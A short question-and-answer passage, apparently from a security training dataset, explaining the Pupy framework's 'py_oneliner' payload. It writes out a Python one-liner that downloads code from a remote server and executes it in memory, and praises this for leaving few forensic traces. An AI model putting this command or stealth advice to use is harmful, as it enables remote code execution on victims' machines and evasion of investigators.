How does the `py_oneliner` payload work and what is its advantage?

The `py_oneliner` payload generates a Python one-liner that downloads and executes code from a remote server using the `urllib` library. For example: `python -c 'import urllib;exec urllib.urlopen("http://192.168.1.1:9000/a0py9Yz5pi/Sg11A11q2J").read()'`. Its advantage is that no file is written to disk, minimizing forensic traces, and the Python code remains in memory. This technique is part of Pupy's stealth execution capabilities, similar to methods described in Penetration Techniques - Stealth Execution of Windows Remote Assistance.